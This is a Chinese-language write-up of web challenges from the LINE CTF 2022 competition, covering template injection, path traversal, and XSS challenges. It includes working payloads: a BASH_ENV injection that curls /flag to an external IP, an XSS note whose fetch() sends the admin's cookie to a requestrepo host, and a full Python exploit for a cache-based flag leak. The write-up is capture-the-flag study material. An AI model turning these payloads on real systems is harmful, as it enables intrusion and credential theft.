linectf
第一次差不多全队在认真的打国外的比赛,直接泪目。最终成绩也不错(第16),直接队友带飞了。赛后复现一下。
gotm
一开始难住了。下午才反应过来。就是经典jwt加解密,然后用go写的后端。我下午想了半天,想起之前有个比赛考go的模板注入,所以我怀疑是不是模板注入(毕竟那么多人写出来)。还真给我找到了漏洞点:
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
这里的template.New("").Parse("Logged in as " + acc.id)
是个明显的模板注入。acc的内容:
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
所以很简单了,直接注册一个{{.}}
用户,获取到secret_key
,然后jwt.io生成一个jwt即可得到flag。
bb
这波,这波起飞。因为p神文章已经写了bash的环境变量getshell的方法。https://tttang.com/archive/1450/
然后我tm搞了半天的BASH_FUNC_imdude%%
环境变量,然后不行,直接卡了半天。我觉得不行的原因:docker经典dash,但是bash -c
执行命令,然后BASH_FUNC_imdude%%
其实并没有传到bash
命令执行的环境,这就很奇怪,想了半天怎么传BASH_FUNC_imdude%%
,就直接卡住了。然后带佬同学说BASH_ENV
可以搞,但是$(id 1>&2)
需要交互shell,然后我直接搞了一手curl,发现能用。剩下的就是绕过正则了。一开始研究了一个特别骚的操作,这题用不了,还是记一下:
__(){ /[]-{}][]-{}][]-{}]/[]-{}][]-{}][]-{}][]-{}]64 $2; }; __ /[]-{}][]-{}][]-{}][]-{}]
#base64 /flag
linux大神搞得,把我整不明白了。然后发现可以用8进制搞。所以就直接8进制就行。payload:
?env[BASH_ENV]=$($'\143\165\162\154'+47.96.173.116%3a2333+$'-\106%3d%40/\146\154\141\147')
要在8进制前面加$
否则不解析8进制字符。
Memo Drive
到后面有点小摆,因为找不到漏洞点了。队里的misc大神直接做出来了。关键点:
context['request'] = request
clientId = getClientID(request.client.host)
if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
raise
filename = request.query_params[clientId]
path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
f = open(path, 'r')
contents = f.readlines()
f.close()
context['filename'] = filename
context['contents'] = contents
这个path可以目录穿越,关键就是绕过if。根据文档,发现python3.9有个特性,&
可以用;
绕过。然后.
用%2e
。然后注意path的逻辑,然后path参数把所有key搞进去了,所以要多传一个key:/%2e%2e
,debug的时候发现似乎filename是可控的,其实就是参数clientId的值。最终payload:
642e450015b9cd657f94c79190e902e2=flag;/%2e%2e=asd
#path=642e450015b9cd657f94c79190e902e2/../flag
online library
这个很神奇。明显是个xss,因为有个CSP,可以执行script。但是没有xss的点,insert似乎有,但是不能保存,就很奇怪。就交给队友搞了。首先,有个目录穿越:
app.get("/:t/:s/:e", (req: Express.Request, res: Express.Response): void => {
const s: number = Number(req.params.s)
const e: number = Number(req.params.e)
const t: string = req.params.t
if ((/[\x00-\x1f]|\x7f|\<|\>/).test(t)) {
res.end("Invalid character in book title.")
} else {
Fs.stat(`public/${t}`, (err: NodeJS.ErrnoException, stats: Fs.Stats): void => {
if (err) {
res.end("No such a book in bookself.")
} else {
if (s !== NaN && e !== NaN && s < e) {
if ((e - s) > (1024 * 256)) {
res.end("Too large to read.")
} else {
Fs.open(`public/${t}`, "r", (err: NodeJS.ErrnoException, fd: any): void => {
if (err || typeof fd !== "number") {
res.end("Invalid argument.")
} else {
let buf: Buffer = Buffer.alloc(e - s);
Fs.read(fd, buf, 0, (e - s), s, (err: NodeJS.ErrnoException, bytesRead: number, buf: Buffer): void => {
res.end(`<h1>${t}</h1><hr/>` + buf.toString("utf-8"))
})
}
})
}
} else {
res.end("There isn't size of book.")
}
}
})
}
});
虽然没有网页上的保存,但是可以搞一手内存,这个和之前的暗泉杯的一道题很像。首先读一手/proc/self/maps
:
/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2fself%2fmaps/0/4096
关键的地方就是heap这里面。但是范围太大,不能读完,所以慢慢读。先在insert写入xss:
把maps读出来的范围的16进制数转换为10进制。然后慢慢找就能找到我们写入的xss:
然后将这个路径report就行。
然后就可以了。上面的步骤建议在burpsuite下进行,要不然浏览器会自动url编码。(赛后复现不是很成功)
Haribote Secure Note
代码很多。直接开摆。可以看wp:https://adragos.ro/line-ctf-2022/#haribotesecurenote
首先是在index.j2:
<script nonce="{{ csp_nonce }}">
const render = notes => {
const noteArea = document.getElementById("notes");
notes.sort((a, b) => Date.parse(a.createdAt) - Date.parse(b.createdAt));
for (const note of notes) {
const noteDiv = document.createElement("div");
noteDiv.classList.add("p-2")
noteDiv.classList.add("bg-light")
noteDiv.classList.add("border")
const title = document.createElement("h2");
title.innerHTML = note.title;
noteDiv.appendChild(title);
const content = document.createElement("p");
content.innerHTML = note.content;
noteDiv.appendChild(content);
const createdAt = document.createElement("time");
createdAt.innerHTML = `Created at: ${note.createdAt}`;
noteDiv.appendChild(createdAt)
noteArea.appendChild(noteDiv);
}
};
render({{ notes }})
</script>
最后的notes可以进行xss。直接把<script>
闭合,由于有CSP所以不能执行javascript的代码。需要找到一个没有CSP的页面。然后找到了/profile
(虽然register.js
、login.j2
都没有CSP,但是有cookie之后都是直接跳转到index
所以行不通),而且还是同源的网站,所以从这里入手可以获取cookie。除此之外,在index.js
还有一处可以进行代码注入:
{% if current_user.is_admin %}
<section id="sharedUserInfo">
<button id="printInfoBtn" type="button" class="btn btn-sm btn-outline-secondary btn-block">👀 Check shared
user information
</button>
</section>
<script nonce="{{ csp_nonce }}">
const printInfo = () => {
const sharedUserId = "{{ shared_user_id }}";
const sharedUserName = "{{ shared_user_name }}";
const div = document.createElement('div');
div.classList.add('alert')
div.classList.add('alert-warning')
div.innerHTML = [
`[debug:${new Date().toISOString()}]`,
`UserId="${sharedUserId}"`,
`DisplayName="${sharedUserName}"`
].join(' ');
const sharedUserInfo = document.getElementById('sharedUserInfo');
sharedUserInfo.replaceChildren(div);
}
const printInfoBtn = document.getElementById('printInfoBtn');
printInfoBtn.addEventListener('click', printInfo);
</script>
{% endif %}
sharedUserName
可控,但是只有16个字符,所以命令不能太长。所以思路是:首先闭合“
,然后调用js代码到<iframe>
里面执行。然后wp里面提到,a.toString()
为a标签的href属性,然后href=javascript:alert(1)
可以作为合法的js代码执行。所以最终步骤为:
创建一个Display name为
"a.eval(""+m)//
的用户,然后创建notes。第一个note:
title=any
content=</script><iframe name="a" src="/profile"></iframe>
第二个note:
title=any
content=<a id="m" href=javascript:fetch("//"+document.cookie.substr(13).replaceAll("_",".").replace("}","")+".6b3om2ce.requestrepo.com");></a>
然后share一下即可。本来我想直接fetch到我的vps上,但是wp说只能发送dns请求,导致我一直接收不到,所以直接去http://requestrepo.com生成一个子域名来接收请求即可。
title todo
参考wp:https://adragos.ro/line-ctf-2022/#titletodo
是道挺让人脑洞大开的题目。审源码。发现image.html有注入:
<img src={{ image.url }} class="mb-3">
<input hidden id="imgId" value="{{ image.id }}">
导致我们可以在<img>
标签加入别的属性。根据题目的暗示,应该是通过某种方式泄漏flag,不是xss之类的操作。然后去分析一波bot的代码:
browser = await puppeteer.launch({
args: [
"--no-sandbox",
"--disable-background-networking",
"--disk-cache-dir=/dev/null",
"--disable-default-apps",
"--disable-extensions",
"--disable-desktop-notifications",
"--disable-gpu",
"--disable-sync",
"--disable-translate",
"--disable-dev-shm-usage",
"--hide-scrollbars",
"--metrics-recording-only",
"--mute-audio",
"--no-first-run",
"--safebrowsing-disable-auto-update",
"--window-size=1440,900",
],
});
wp里面说,最后一个window-size
属性很奇怪,觉得可以利用。然后就是一堆我不懂的东西。首先是nginx的缓存操作。https://support.cpanel.net/hc/en-us/articles/4402904983703-How-to-add-the-X-Cache-Status-header-to-NGINX-to-assist-with-optimizing-and-troubleshooting-cache-settings
说是可以根据X-Cache-Status
的返回来判断是否匹配。返回HIT即为匹配成功,MISS即为失败。看了半天,并不是很明白啥原理。然后匹配的方式,就是经典的hitcon的Vulpixelize
预期解。用chrome的特性:#:~:text=
进行搜索。所以解题步骤为:
- 先搞一个图片,根据上传的参数url进行创建的,不一定需要有图片,题目很tmd长,而且image.html注入点也是用url进行的;同时加入属性:
preload=lazy
和loading=lazy
,为了当页面看到图片时才缓存,所以这是利用了nginx的缓存特性(可能)。 - 给admin用户share然后加上
#:~:text=LINECTF{
进行探测。一旦搜索到,由于题目很长,所以就会把window的滚动条往下滚动,就可以加载到图片,否则不加载图片。 - 然后再打开上传的图片的地址,还要在最后加上一个唯一的请求参数,这样nginx就会当作第一次缓存该图片。如果admin在上一步加载到图片,即搜索到flag字符,就会返回
X-Cache-Status
为HIT的回应包。然后根据此进行flag泄漏
最后贴一个wp里的exp吧:
def get_cache_hit(cache_buster=''):
import requests
burp0_url = f"http://35.187.204.223:80/static/image/6b29849c32e448daa28d6dae43d42015.png?{cache_buster}"
burp0_cookies = {"session": ".eJwlzjEOwjAMQNG7eGaI49ixe5kqdhzB2tIJcXdA7P9L7wX7OvK8w_Y8rrzB_piwQWuWyosyvOIwQuGo6IRWudTqRtTMhEw5GSXQO3XVnqjZmOkXSsk-A9v3FcKSmjSkc_T0HBqlllhCHrxQUqctcRLSObw5fCHXmcdfgybw_gBGvS4M.YkMLpw.862ABjMKiUjL1eJEgpCiPw1GASw"}
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
return r.headers['X-Cache-Status'] == 'HIT'
def post_payload(cache_buster=''):
import requests
burp0_url = "http://35.187.204.223:80/image"
burp0_cookies = {"session": ".eJwlzjEOwjAMQNG7eGaI49ixe5kqdhzB2tIJcXdA7P9L7wX7OvK8w_Y8rrzB_piwQWuWyosyvOIwQuGo6IRWudTqRtTMhEw5GSXQO3XVnqjZmOkXSsk-A9v3FcKSmjSkc_T0HBqlllhCHrxQUqctcRLSObw5fCHXmcdfgybw_gBGvS4M.YkMLpw.862ABjMKiUjL1eJEgpCiPw1GASw"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://35.187.204.223", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://35.187.204.223/image", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"title": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa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aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "img_file": "lmao.png", "img_url": f"/static/image/6b29849c32e448daa28d6dae43d42015.png?{cache_buster} preload=lazy loading=lazy"}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, allow_redirects=False)
return r.headers['X-ImageId']
def report_admin(id, flag=''):
import requests
burp0_url = "http://35.187.204.223:80/share"
burp0_cookies = {"session": ".eJwlzjEOwjAMQNG7eGaI49ixe5kqdhzB2tIJcXdA7P9L7wX7OvK8w_Y8rrzB_piwQWuWyosyvOIwQuGo6IRWudTqRtTMhEw5GSXQO3XVnqjZmOkXSsk-A9v3FcKSmjSkc_T0HBqlllhCHrxQUqctcRLSObw5fCHXmcdfgybw_gBGvS4M.YkMLpw.862ABjMKiUjL1eJEgpCiPw1GASw"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "Content-type": "application/json", "Accept": "*/*", "Origin": "http://35.187.204.223", "Referer": "http://35.187.204.223/image/14edd883-cc07-4eb5-a1e7-6b79736665af", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_json={"path": f"image/{id}#:~:text=LINECTF{{" + flag}
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=burp0_json)
import time
import random
import string
#flag = '0/5/d/b/a/e/e/7/c/c/'
flag = ''
while flag.count('/') < 10:
for c in '0123456789abcdef':
print('Trying',c)
cache_buster = ''.join(random.sample(string.ascii_letters, 8))
id = post_payload(cache_buster)
report_admin(id, flag + c + '/')
time.sleep(2)
if get_cache_hit(cache_buster) == True:
flag += c + '/'
print(flag)
break
print(f'found flag LINECTF{{{flag}}}')
Me7-ball
完全不理解,与其说是web,我咋感觉像二进制,还用到了AES,开摆,可以细看wp:https://gist.github.com/mdsnins/2912b9656c837e5190364136b307c682